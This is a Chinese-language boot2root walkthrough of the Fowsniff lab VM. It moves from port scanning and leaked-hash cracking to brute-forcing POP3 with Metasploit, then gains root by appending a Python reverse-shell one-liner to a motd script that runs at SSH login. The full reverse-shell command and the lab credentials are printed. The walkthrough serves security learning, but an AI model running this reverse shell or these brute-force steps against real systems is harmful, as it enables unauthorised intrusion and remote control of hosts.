内容简介:大家好,今天我们的靶机是fowsniff,这是一个boot2root的挑战,目的是获取root权限。靶机下载地址在废话不多说,直接进入实际操作。·端口扫描和IP发现
介绍
大家好,今天我们的靶机是fowsniff,这是一个boot2root的挑战,目的是获取root权限。靶机下载地址在 这里 。
废话不多说,直接进入实际操作。
目录
·端口扫描和IP发现
· 测试80端口
· 在pastebin上找到哈希值
· 解码哈希
· 暴力破解pop3登录
· 连接到pop3
· 找到ssh用户名和密码
· 找到提权的方法
· 利用系统配置不当
· 获取root权限
· 获取flag
实战过程
我们先开始进行端口扫描,使用netdiscover命令:
netdiscover
发现目标IP地址是192.168.1.29
接下来用nmap神器来扫描目标IP地址,命令如下:
nmap -A -p -T4 192.168.1.29
扫描结果显示有4个端口开放,22(ssh),80(http),110(pop3),143(imap)。
先看看80端口会不会有收获,打开浏览器访问:
页面上没有发现什么,继续使用dirb和nikto进行扫描也没有什么收获,于是我Google了一番页面上显示的这个fowsniff corp,发现了一个包含用户名和密码的pastebin链接。(链接在此)。
我们找到了一些哈希值并进行在线破解,找到了一些电子邮件对应的密码,不过有9个用户名,却只破解了8个哈希,如图:
所以我创建了两个字典,一个是用户名字典,一个是密码字典。我们将使用这两个字典来爆破pop3登录。
我们使用msf来爆破pop3登录,命令和配置如下:
msf > use auxiliary/scanner/pop3/pop3_login msf auxiliary(scanner/pop3/pop3_login) > set rhosts 192.168.1.29 msf auxiliary(scanner/pop3/pop3_login) > set user_file user.txt msf auxiliary(scanner/pop3/pop3_login) > set pass_file pass.txt msf auxiliary(scanner/pop3/pop3_login) > set verbose false msf auxiliary(scanner/pop3/pop3_login) > run
运行之后我们找到了正确的凭证,“seina:scoobydoo2”,如图:
接着我们连接到靶机的pop3服务上,使用刚才获取的凭证进行登录。登录上之后,我们查看下信息,发现有两条信息,命令如下:
nc 192.168.1.29 110 user seina pass scoobydoo2 list
我们查看第一条信息的内容,发现它包含ssh的密码
retr 1
接着查看第二条信息,信息中可以看到发件人是[email protected],可以推断用户名是baksteen:
retr 2
接着我们使用刚才获得的凭证,也就是“baksteen:S1ck3nBluff+secureshell”来登录ssh:
ssh <a href="/cdn-cgi/l/email-protection" data-cfemail="3153505a424554545f710008031f0007091f001f0308">[email protected]</a>
登录成功。
对系统进行一下枚举,发现用户baksteen属于两个不同的组。我们尝试找到属于users组的文件,发现了一个脚本“cube.sh”,查找命令如下:
find / -group users -type f 2>/dev/null
我们查看一下这个脚本文件的内容,发现它包含我们ssh登陆后出现的界面信息,对照上图ssh登录成功后的截图便知。
cd /opt/cube cat cube.sh
我们使用vim打开该文件,并在文件结尾添加一行 Python 反弹 shell 的命令:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
如图:
保存后,我们尝试执行该脚本,报错,错误信息是“Python command is not found”。于是我们在系统中查找Python,发现安装的是Python3,如图:
所以我们修改反弹shell的命令为Python3,如下:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.29",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
由于我们登录到ssh时看到的banner跟cube.sh脚本包含的内容相似,所以我们来查看下“etc/update-motd.d”目录,查找运行改程序的可执行文件,发现了“00-header”这个文件运行这个shell脚本。
现在我们退出ssh,并且在本地使用netcat设置监听,然后我们重新连接ssh,这样的话,我们的反弹shell就成功执行了。
ssh <a href="/cdn-cgi/l/email-protection" data-cfemail="13717278606776767d53222a213d22252b3d223d212a">[email protected]</a>
一旦成功登录,我们就获得了一个root用户的shell。我们切换到root目录,发现一个flag.txt的文件,查看文件便得到了我们的flag信息:
nc -lvp 1234 id cd /root cat flag.txt
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。